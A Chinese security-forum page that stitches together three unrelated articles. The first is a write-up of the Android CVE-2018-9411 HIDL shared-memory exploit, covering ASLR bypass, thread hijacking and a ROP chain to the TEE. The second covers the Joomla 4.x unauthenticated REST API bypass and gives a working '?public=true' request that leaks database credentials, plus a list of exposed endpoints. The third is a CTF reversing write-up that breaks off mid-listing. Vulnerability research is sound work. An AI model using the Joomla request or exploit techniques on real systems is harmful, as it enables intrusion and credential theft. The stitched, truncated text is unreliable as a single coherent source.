zLabs的研究员最近披露了一个影响多个高权限Android服务的关键漏洞。Google将其指定为CVE-2018-9411并在[7月安全更新](https://source.android.com/security/bulletin/2018-07-01)（2018-07-01补丁级别）中进行了修补，包括[9月安全更新](https://source.android.com/security/bulletin/2018-09-01)（2018-09-01补丁级别）中的其他补丁。
我为此漏洞编写了一个PoC，来演示如何使用它来从常规非特权应用程序中提升权限。
这篇博文将介绍漏洞和漏洞利用的技术细节。以及漏洞相关背景、漏洞相关的服务和漏洞详情。至于为什么选择某个特定服务作为其他服务的攻击目标，文中会详细阐述。
# Project Treble
Project
Treble对Android内部运作方式进行了大量更改。其中有一个较大的变更，使得许多系统服务都被碎片化了。以前，服务包含AOSP（Android开源项目）和供应商代码。在Project
Treble之后，这些服务全部分为一个AOSP服务以及一个或多个供应商服务，称为HAL服务。有关更多背景信息，参阅[我的BSidesLV演讲](https://blog.zimperium.com/zlabs-bsides-las-vegas-android-security-helps-fails/)和[我之前的博文](https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/)。
## HIDL
Project Treble引入的分离机制导致了IPC（进程间通信）总数的增加;
先前在AOSP和供应商代码之间通过相同过程传递的数据现在必须通过AOSP和HAL服务之间的IPC。因为Android中的大多数IPC通过[Binder](https://elinux.org/Android_Binder)通信，所以谷歌决定新的IPC也应该这么做。
但仅仅使用现有的Binder代码是不够的，Google也决定进行一些修改。首先，他们引入了[多Binder域](https://source.android.com/devices/architecture/hidl/binder-ipc#contexts)，以便将这种新型IPC与其他域分开。更重要的是，他们引入了[HIDL](https://source.android.com/devices/architecture/hidl-cpp)\- 一种通过Binder
IPC传递的数据的新格式。这种新格式有一组新的库集，专门用于AOSP和HAL服务之间的IPC新Binder域。其他Binder域仍使用旧格式。
与旧的HIDL格式相比，新HIDL格式的操作有点像层。两者的底层都是Binder内核驱动程序，但顶层是不同的。对于HAL和AOSP服务之间的通信，使用新的库集;
对于其他类型的通信，使用旧的库集。两组库都包含的代码非常相似，以至于某些原始代码甚至直接
被复制到新的HIDL库中（虽然我个人觉得这样复制粘贴并不好）。尽管每个库的用法并不完全相同（你不能简单地用一个替换另一个），但它仍然非常相似。
两组库集都表现为在Binder事务中作为C++对象传输的数据。这意味着HIDL为许多类型的对象引入了自己的新接口，包括了从相对简单的对象（如表示字符串的对象）到更复杂的实现（如文件描述符）或对其他服务的引用。
## 共享内存
Binder
IPC一个重要的方面是使用了共享内存。为了保持简单性和良好性能，Binder将每个事务限制为最大1MB。如果进程希望通过Binder在彼此之间共享大量数据，进程会使用共享内存。
为了通过Binder共享内存，进程利用了Binder用来共享文件描述符的功能。文件描述符可以使用mmap映射到内存，并允许多个进程通过共享文件描述符来共享相同的内存区域。常规Linux（非Android）的需要面对的一个问题是：文件描述符通常由文件提供，那如果进程想要共享匿名内存区域会怎么样？对于这种情况，Android使用了[ashmem](https://elinux.org/Android_Kernel_Features#ashmem)，它允许进程在不涉及实际文件的情况下分配内存来备份文件描述符。
通过Binder共享内存是HIDL和旧库集之间不同实现的一个例子。在这两种情况下，最终操作都是相同的：一个进程将ashmem文件描述符映射到其内存空间，通过Binder将该文件描述符传输到另一个进程，然后另一个进程将其映射到自己的内存空间。但是处理这个的对象的接口是不同的。
在HIDL的情况下，共享内存的一个重要对象是 _hidl_memory_
。如[源代码中所述](https://android.googlesource.com/platform/system/libhidl/+/android-8.1.0_r29/base/include/hidl/HidlSupport.h#199)：“hidl_memory是一种可用于在进程之间传输共享内存片段的结构”。
# 漏洞
让我们来仔细看看hidl_memory的成员：
来自system / libhidl / base / include / hidl /
HidlSupport.h的片段（[源代码](https://android.googlesource.com/platform/system/libhidl/+/android-8.1.0_r29/base/include/hidl/HidlSupport.h#276)）
* _mHandle_ \- 一个[句柄](https://source.android.com/devices/architecture/hidl-cpp/types#handle)，是一个包含文件描述符的HIDL对象（在这种情况下只有一个文件描述符）。
* _mSize_ \- 要共享的内存大小。
* _mName_ \- 应该代表内存的类型，但只有ashmem类型会起作用。
当通过HIDL中的Binder传输这样的结构时，复杂对象（如 _hidl_handle_ 或 _hidl_string_
）有自己的自定义代码用于读写数据，而简单类型（如整数）则“原样”传输。这意味着它的内存大小将作为64位整数传输。另一方面，[在旧的库集中，使用32位整数](https://android.googlesource.com/platform/frameworks/native/+/android-8.1.0_r29/libs/binder/IMemory.cpp#318)。
这看起来就很奇怪了，为什么内存的大小是64位？为什么不像和旧的库集不一样？32位进程又如何处理这个问题呢？让我们看一下映射hidl_memory对象的代码（针对ashmem类型）：
来自system / libhidl / transport / memory / 1.0 / default / AshmemMapper.cpp的片段
（[源代码](https://android.googlesource.com/platform/system/libhidl/+/android-8.1.0_r29/transport/memory/1.0/default/AshmemMapper.cpp#30)）
有趣！没有任何关于32位进程的处理，甚至没有提到内存大小是64位。
那这中间发生了什么呢？mmap签名中长度字段的类型是size_t，这意味着它的位数与进程的位数相匹配。在64位进程中没有问题，一切都是64位。而在32位进程中，它的大小则被截断为32位，因此
**仅会使用低32位** 。
也就是说，如果32位进程接收到大小大于UINT32_MAX（0xFFFFFFFF）的hidl_memory，则实际的映射内存区域将小得多。例如，对于大小为0x100001000的hidl_memory，内存区域的大小将仅为0x1000。在这种情况下，如果32位进程基于hidl_memory大小执行边界检查，结果肯定是失败，因为它们会错误地指示内存区域跨越整个内存空间。这就是漏洞所在！
## 寻找目标
即然有了漏洞，那现在就试着找到一个利用目标。
寻找符合以下标准的HAL服务：
1. 编译为32位。
2. 接收共享内存作为输入。
3. 在共享内存上执行边界检查时，也不会截断大小。例如，以下代码就没有风险，因为它对截断的size_t执行边界检查：
这些是触发漏洞的基本要求，但我认为还有一些可选的更可靠的目标：
1. 在AOSP中有默认接口。虽然供应商最终负责所有HAL服务，但AOSP确实包含某些供应商可以使用的默认接口。在许多情况下，当存在这样的接口时，供应商并不愿意修改它，最终还是原样照搬。这使得这样的目标更有趣，因为它可能与多个供应商相关，而不是特定于供应商的服务。
应该注意的是，尽管HAL服务被设计为只能由其他系统服务访问，但事实并非如此。有一些特定的HAL服务实际上可以由常规的非特权应用程序访问，每个服务都有其自身的原因。因此，目标的最后一个要求是：
1. 可以从无特权的应用程序直接访问。否则一切都只能存在于假设中，因为我们将讨论这样一个目标，只有在你已经破坏了另一个服务的情况下才能访问它。
幸运的是，有一个满足所有这些要求的HAL服务： _android.hardware.cas_ ，AKA _MediaCasService_ 。
# CAS
CAS（Conditional Access
System），表示条件访问系统。CAS本身大部分超出了本博文的范围，但总的来说，它与DRM类似（因此[差异并不是很明显](https://security.stackexchange.com/questions/137273/whats-the-difference-between-drm-and-cas)）。简单地说，它的功能与DRM相同 - 存在需要解密的加密数据。
## MediaCasService
首先，MediaCasService确实允许应用程序解密加密数据。参阅[我以前的博客文章](https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/)，该博文处理了名为MediaDrmServer的服务中的漏洞，您可能会注意到与DRM进行比较的原因。MediaCasService与MediaDrmServer（负责解密DRM媒体的服务）从其API到内部运行方式都非常相似。
与MediaDrmServer略有不同的是其术语：API不是解密，而是称为解扰（尽管它们最终也会在内部对其进行解密）。
让我们看看[解扰方法](https://android.googlesource.com/platform/hardware/interfaces/+/android-8.1.0_r29/cas/1.0/default/DescramblerImpl.cpp#79)是如何运作的（这里省略了一些小部分以简化操作）：
不出所料，数据通过共享内存共享。有一个缓冲区指示共享内存的相关部分（称为 _srcBuffer_
，但与源数据和目标数据相关）。在此缓冲区上，服务从其中读取源数据以及将目标数据写入的位置存在偏移量。可以看出源数据实际上是清除的而不是加密的，在这种情况下，服务将简单地将数据从源复制到目的地而不进行修改。
这个漏洞看起来很赞！至少服务仅使用hidl_memory的size来验证它是否适合共享内存，而不是其他的参数。在这种情况下，通过让服务认为我们的小内存区域跨越整个内存空间，我们可以绕过边界检查，并将源和目标偏移量放在任何我们想放的地方。这能给我们提供对于服务内存的完全读写访问权限，因为我们可以从任何地方读取共享内存并从共享内存写入任何地方。注意到负偏移也在这也起作用，因为即使0xFFFFFFFF（-1）也会小于hidl_memory大小。
查看descramble的代码，验证确实存在这种情况。快速说明：函数 _validateRangeForSize_ 只检查“ first_param +
second_param <= third_param ”，同时注意可能存在的溢出。
来自hardware / interfaces / cas / 1.0 / default /
DescramblerImpl.cpp的片段（[源代码](https://android.googlesource.com/platform/hardware/interfaces/+/android-8.1.0_r29/cas/1.0/default/DescramblerImpl.cpp#89)）
如上所示，代码根据hidl_memory大小检查srcBuffer是否位于共享内存中。在此之后，不再使用hidl_memory，并且针对srcBuffer本身执行其余检查。完美！我们所需要就是获得完全读写权限来触发漏洞，然后将srcBuffer的大小设置为大于0xFFFFFFFF。这样，源和目标偏移的任何值都是有效的了。
**使用漏洞来越界读取**
**使用漏洞进行越界写入**
## TEE设备
在使用这个原语编写漏洞之前，让我们考虑一下我们希望这个漏洞实现的目标。[此服务的SELinux规则](https://android.googlesource.com/platform/system/sepolicy/+/android-8.1.0_r29/public/hal_cas.te)表明它实际上受到严格限制，并没有很多权限。不过，它还是有一个普通非特权应用程序没有的权限：[访问TEE（可信执行环境）设备](https://android.googlesource.com/platform/system/sepolicy/+/android-8.1.0_r29/public/hal_cas.te#26)。
此权限非常有趣，因为它允许攻击者访问各种各样的东西：不同供应商的不同设备驱动程序，不同的TrustZone操作系统和大量的trustlet。在[我之前的博文中](https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/)，我已经讨论过这个权限有多危险。
虽然访问TEE设备确实可以做很多事情，但此时我只需证明我可以获得此访问权限。因此，我的目标是执行一个需要访问TEE设备的简单操作。在Qualcomm
TEE设备驱动程序中，有一个相当简单的[ioctl](https://android.googlesource.com/kernel/msm.git/+/android-8.1.0_r0.75/drivers/misc/qseecom.c#6910)，用于查询设备上运行的QSEOS版本。因此，构建MediaCasService漏洞的目标是运行此ioctl并获取其结果。
# 利用
注意：我的exp针对特定设备和版本 - Pixel 2与2018年5月的安全更新（build fingerprint:
“google/walleye/walleye:8.1.0/OPM2.171019.029.B1/4720900:user/release-keys”）
。博客文章末尾提供了完整漏洞利用代码的链接。
到目前为止，我们拥有了对目标进程内存的完全读写权限。虽然这是一个很好的开头，但仍有两个问题需要解决：
* ASLR - 虽然我们有完全的读访问权限，但它只是相对于我们共享内存的映射位置; 我们不知道它与内存中的其他数据相比在哪里。理想情况下，我们希望找到共享内存的地址以及其他我们感兴趣的数据的地址。
* 对于漏洞的每次执行，共享内存都会被映射，然后在操作后取消映射。无法保证共享内存每次都会映射到同一位置; 另一个内存区域完全有可能在其执行后取代它。
让我们看一下这个特定版本的服务内存空间中链接器的一些内存映射：
链接器恰好在 _linker_alloc_small_objects_ 和 _linker_alloc_
之间创建了2个内存页（0x2000）的小间隙。这些存储器映射的地址相对较高;
此进程加载的所有库都映射到较低的地址。这意味着这个差距是内存中最高的差距。由于mmap的行为是尝试在低地址之前映射到高地址，因此任何映射2页或更少内存区域的操作都会映射到此间隙中。幸运的是，该服务通常不会映射任何这么小的东西，这意味着这个差距应该始终不变。这解决了我们的第二个问题，因为这是内存中的确定性位置，我们的共享内存将始终映射。
让我们在间隙之后直接查看linker_alloc中的数据：
这里的链接器数据对我们非常有帮助;
它包含可以轻松指示linker_alloc内存区域地址的地址。由于漏洞可以让我们相对读取，并且我们已经得出结论，我们的共享内存将在此linker_alloc之前直接映射，我们可以使用它来确定共享内存的地址。如果我们将地址偏移0x40并将其减少0x10，我们就能得到linker_alloc地址。减去共享内存的大小就可以得到共享内存的地址。
到目前为止，我们解决了第二个问题，但只是解决了第一个问题的部分。我们确实有共享内存的地址，但没有其他感兴趣的数据。但是我们感兴趣的其他数据是什么？
## 劫持一个线程
MediaCasService
API的一部分是可以为客户端提供事件侦听器。如果客户端提供侦听器，则会在发生不同CAS事件时通知它。客户端也可以自己触发事件，然后将其发送回侦听器。当通过Binder和HIDL的方式是当服务向侦听器发送事件时，它将等待侦听器完成事件的处理;
一个线程将被阻塞，等待监听器。
**触发事件的流程**
我们可以在已知的预定线程中，阻止服务中的线程，让其等待我们的下一步操作。一旦我们有一个处于这种状态的线程，我们就可以修改它的堆栈来劫持它;
然后，只有在我们完成后，我们才能通过完成处理事件来恢复线程。但是我们如何在内存中找到线程堆栈？
由于我们的确定性共享内存地址非常高，因此该地址与被阻塞的线程堆栈的可能位置之间的距离很大。因为ASLR的存在，使得通过相对于确定性地址找到线程堆栈的可能性大大减小，需要另寻他路。尝试使用更大的共享内存，并在阻塞的线程堆栈之前映射它，因此我们将能够通过此漏洞相对地访问它。
相比于只将一个线程带到阻塞状态，我们更倾向使用多个（本例中5个）。这会导致创建更多线程，并分配更多线程堆栈。通过执行此操作，如果内存中存在少量线程堆栈大小的空白，则应填充它们，并且阻塞线程中的至少一个线程堆栈会映射到低地址，而不会在其之前映射任何库（mmap的行为是在低地址之前映射高地址的区域）。然后，理想情况下，如果我们使用大型共享内存，则应在此之前进行映射。
**填充间隙并映射共享内存后的MediaCasService内存映射**
一个缺点是，有可能其他非预期的东西（如jemalloc堆）会被映射到中间，因此被阻塞的线程堆栈可能不是我们所要的。有多种方法可以解决这个问题。我决定直接使服务崩溃（使用漏洞来写入未映射的地址）并再次尝试，因为每次服务崩溃时它都会重新启动。在任何情况下，这种情况通常都不会发生，即使这样，一次重试通常就足够了。
一旦我们的共享内存在被阻塞的线程堆栈之前被映射，我们就使用该漏洞从线程堆栈中读取两样东西：
* 线程堆栈地址，使用pthread元数据，它位于堆栈本身之后的同一内存区域中。
* libc映射到的地址，以便稍后使用libc中的小工具和符号构建ROP链（libc具有足够的小工具）。我们通过读取libc中特定点的返回地址（位于线程堆栈中）来实现这一点。
**从线程堆栈读取的数据**
从现在开始，我们可以使用漏洞读取和写入线程堆栈。我们有确切的共享内存位置地址和线程堆栈地址，因此通过使用地址之间的差异，我们可以从共享内存（具有确定性位置的小内存）到达线程堆栈。
## ROP链
我们拥有可被恢复的被阻塞的线程堆栈的全部权限，因此下一步是执行ROP链。我们确切地知道要用我们的ROP链覆盖堆栈的哪个部分，因为我们知道线程被阻塞的确切状态。覆盖部分堆栈后恢复线程，从而执行ROP链。
遗憾的是，SELinux对此过程的限制使得我们无法将此ROP链转换为完全任意的代码执行。没有 _execmem_
权限，因此无法将匿名内存映射为可执行文件，并且我们无法控制可以映射为可执行文件的文件类型。在这种情况下，目标非常简单（只是运行单个ioctl），所以我只是编写了一个ROP链来执行此操作。从理论上讲，如果你想要执行更复杂的东西，依赖强大的原语，完全是有可能做到的。例如，如果你想根据函数的结果执行复杂的逻辑，你可以执行多阶ROP：执行一个运行该函数的ROP，并将其结果写入某处，读取结果，在自己的进程中执行复杂的逻辑，然后基于此运行另一个ROP链。
如前所述，目标是获得QSEOS版本。这里的代码本质上是由ROP链完成的：
_stack_addr_
是堆栈内存区域的地址，它只是一个我们知道可写的地址，不会被覆盖（堆栈是从底部开始往上构建的），因此我们可以将结果写入该地址，然后使用漏洞读取它。最后的睡眠保证运行ROP链后线程不会立即崩溃，以便我们读取结果。
构建ROP链本身非常简单。libc中有足够的小工具来执行它，所有符号也都在libc中，我们已经拥有了libc的地址。
完成后，由于我们劫持了一个线程来执行我们的ROP链，因此进程处于一个不稳定的状态。为了使所有内容都处于干净状态，我们只使用漏洞（通过写入未映射的地址）使服务崩溃，以便让它重新启动。
# 写在后面
正如我之前在我的BSidesLV演讲和我之前的博客文章中所讨论的那样，[谷歌宣称Project
Treble有利于Android的安全性](https://android-developers.googleblog.com/2017/07/shut-hal-up.html)。虽然在许多情况下都是如此，但这个漏洞却是Project
Treble与其初衷背道而驰的一个例子。此漏洞位于一个特定的库中，这个库是作为Project
Treble的一部分专门引入的，在之前的库中不存在（虽然这些库几乎完全相同）。这次的漏洞存在于常用的库中，因此它会影响许多高权限服务。
GitHub上提供了完整的[exp代码](https://github.com/tamirzb/CVE-2018-9411)。注意：该漏洞仅用于教育或防御目的;
不适用于任何恶意或攻击性用途。 | 社区文章 |
由于公司对漏洞的要求比较高，代码审计很快集中到了请求路由的代码块。不管是Wordpress/RounderCube还是PhpMyAdmin以及一些知名度比较高的php应用（一个Java安全研究员感到头皮发麻），我的重点对象变成了请求路由的代码追踪，一旦分析经过路由选择之后，剩下的业务代码我是完全不看了。虽然有点不专业，但是这是挖掘未授权漏洞最好的道路，最终终于找到了一个不错的高危漏洞——Joomla未授权访问Rest
API。
## 受影响版本
Joomla大致有三个路由入口，分别是
1. 根目录的index.php(用户访问文章)
2. 根目录的administrator/index.php(管理员管理)
3. 根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7（Rest API 4.x正式开发）
## 分析
这里仅重点分析api/index.php这个路由的问题（index.php和administrator/index.php找不到漏洞）。
网站输入/api/index.php开启debug模式
index.php会来到app.php。其中$app主要的input成员存放所有的HTTP请求参数
在execute()函数中，会经过sanityCheckSystemVariables函数，此函数用来过滤渲染模板的参数，主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。
doExecute中最重要的就是route和dispatch函数。
### route：路由选择与鉴权
整个route函数分为两部分，路由选择和身份校验。
逻辑十分清晰，主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息
身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false，不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现
这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜
此时route.var中的变量会被请求的变量覆盖。由于public=true，所以接口不需要身份验证，直接到达路由分发，也就是业务逻辑。
## 受损的API清单
由于能够直接访问API了，从中找到最终的信息即可。
/api/index.php/v1/config/application?public=true
此API用于获取网站最重要的配置信息，其中包含数据库的账号与密码。
其他受损API如下
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
## 复现
### 发送请求
http://127.0.0.1/api/index.php/v1/config/application?public=true
### 效果 | 社区文章 |
# hgame2021 逆向题目
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
一个月hgame结束了，做完了逆向题，收获很大，misc的签到题做来玩了一下。
## Re
### apacha
考了一个xxtea加密算法：key是{1, 2, 3, 4}
跟着算法逻辑逆一下就行了：
#include <stdio.h>
unsigned int LEN = 35;
unsigned int delat = 0x9E3779B9 * (52 / LEN) - 0x4AB325AA;
unsigned int KEY[] = {1, 2, 3, 4};
unsigned char ENC[] =
{
35, 179, 78, 231, 54, 40, 167, 183, 226, 111,
202, 89, 193, 197, 124, 150, 116, 38, 128, 231,
230, 84, 45, 61, 86, 3, 157, 138, 156, 195,
220, 153, 237, 216, 38, 112, 173, 253, 51, 106,
10, 85, 150, 244, 158, 111, 156, 92, 76, 208,
229, 27, 23, 174, 35, 103, 194, 165, 112, 82,
10, 19, 66, 172, 178, 103, 190, 132, 121, 199,
92, 112, 152, 61, 81, 92, 45, 218, 54, 251,
69, 150, 23, 34, 157, 82, 227, 92, 251, 225,
137, 209, 137, 212, 91, 232, 31, 209, 200, 115,
150, 193, 181, 84, 144, 180, 124, 182, 202, 228,
23, 33, 148, 249, 227, 157, 170, 161, 90, 47,
253, 1, 232, 167, 171, 110, 13, 195, 156, 220,
173, 27, 74, 176, 83, 52, 249, 6, 164, 146
};
void de_xxtea()
{
unsigned int *enc = (unsigned int *)ENC;
unsigned int *key = (unsigned int *)KEY;
do
{
unsigned char delat1 = (unsigned char)(delat >> 2);
enc[LEN-1] -= ((key[((LEN-1)^delat1)&3]^enc[LEN-2])+(enc[0]^delat)) ^ (((4*enc[0])^(enc[LEN-2]>>5))+((16*enc[LEN-2])^(enc[0]>>3)));
int i = LEN-2;
do
{
enc[i] -= ((key[(i^delat1)&3]^enc[i-1])+(enc[i+1]^delat)) ^ (((4*enc[i+1])^(enc[i-1]>>5))+((16*enc[i-1])^(enc[i+1]>>3)));
i--;
}while(i != 0);
enc[0] -= ((key[(0^delat1)&3]^enc[LEN-1])+(enc[1]^delat)) ^ (((4*enc[1])^(enc[LEN-1]>>5))+((16*enc[LEN-1])^(enc[1]>>3)));
delat += 0x61C88647;
}while(delat != 0);
}
int main(void)
{
int i = 0;
de_xxtea();
for(i = 0; i < 35; i++)
{
printf("%c", ENC[i*4]);
}
}
//hgame{l00ks_1ike_y0u_f0Und_th3_t34}
### helloRe
就是一个异或解密，但是可以从这里学习一下STL模板中的string的结构。
能猜测出v14就是我们输入字符串的长度，但是怎么来的呢？其实使用了string结构。
string结构：一共占24个字节（这也是一个可以让我们用来识别的特征）
struct string
{
char _Buf[16]; // 当字符串长度小于等于0xF时，数据存储在_Buf数组中
// 大于0xF时将分配一个变量，_Buf存储的是该变量地址。
unsigned int _Mysize; // 字符串长度
unsigned int _Myres; // 可存储的最大长度
}
来测试一个输入看看：
最后题解：
from ida_bytes import *
addr = 0x07FF756E13480
cnt = 0xff
flag = ''
for i in range(22):
flag += chr(get_byte(addr)^cnt)
cnt -= 1
addr += 1
print(flag)
#hgame{hello_re_player}
### pypy
给了通过dis模块得到的python反汇编代码，我把对应的python代码注释了下：
4 0 LOAD_GLOBAL 0 (input)
2 LOAD_CONST 1 ('give me your flag:\n')
4 CALL_FUNCTION 1
6 STORE_FAST 0 (raw_flag) #raw_flag = input('give me your flag:\n')
5 8 LOAD_GLOBAL 1 (list)
10 LOAD_FAST 0 (raw_flag)
12 LOAD_CONST 2 (6)
14 LOAD_CONST 3 (-1)
16 BUILD_SLICE 2
18 BINARY_SUBSCR
20 CALL_FUNCTION 1
22 STORE_FAST 1 (cipher) #cipher = list(raw_flag[6:-1])
6 24 LOAD_GLOBAL 2 (len)
26 LOAD_FAST 1 (cipher)
28 CALL_FUNCTION 1
30 STORE_FAST 2 (length) #length = len(cipher)
8 32 LOAD_GLOBAL 3 (range)
34 LOAD_FAST 2 (length)
36 LOAD_CONST 4 (2)
38 BINARY_FLOOR_DIVIDE
40 CALL_FUNCTION 1 #range(length/2)
42 GET_ITER
>> 44 FOR_ITER 54 (to 100)
46 STORE_FAST 3 (i) #for i in range(length/2):
9 48 LOAD_FAST 1 (cipher)
50 LOAD_CONST 4 (2)
52 LOAD_FAST 3 (i)
54 BINARY_MULTIPLY
56 LOAD_CONST 5 (1)
58 BINARY_ADD
60 BINARY_SUBSCR #cipher[2*i+1]
62 LOAD_FAST 1 (cipher)
64 LOAD_CONST 4 (2)
66 LOAD_FAST 3 (i)
68 BINARY_MULTIPLY
70 BINARY_SUBSCR #cipher[2*i]
72 ROT_TWO #swap 改变指针的指向来实现
74 LOAD_FAST 1 (cipher)
76 LOAD_CONST 4 (2)
78 LOAD_FAST 3 (i)
80 BINARY_MULTIPLY
82 STORE_SUBSCR
84 LOAD_FAST 1 (cipher)
86 LOAD_CONST 4 (2)
88 LOAD_FAST 3 (i)
90 BINARY_MULTIPLY
92 LOAD_CONST 5 (1)
94 BINARY_ADD
96 STORE_SUBSCR #cipher[2*i], cipher[2*i+1] = cipher[2*i+1], cipher[2*i]
98 JUMP_ABSOLUTE 44
#for i in range(length/2):
#cipher[2*i], cipher[2*i+1] = cipher[2*i+1], cipher[2*i]
12 >> 100 BUILD_LIST 0
102 STORE_FAST 4 (res) #res = []
13 104 LOAD_GLOBAL 3 (range)
106 LOAD_FAST 2 (length)
108 CALL_FUNCTION 1
110 GET_ITER
>> 112 FOR_ITER 26 (to 140)
114 STORE_FAST 3 (i) for i in range(length)
14 116 LOAD_FAST 4 (res)
118 LOAD_METHOD 4 (append)
120 LOAD_GLOBAL 5 (ord)
122 LOAD_FAST 1 (cipher)
124 LOAD_FAST 3 (i)
126 BINARY_SUBSCR
128 CALL_FUNCTION 1
130 LOAD_FAST 3 (i)
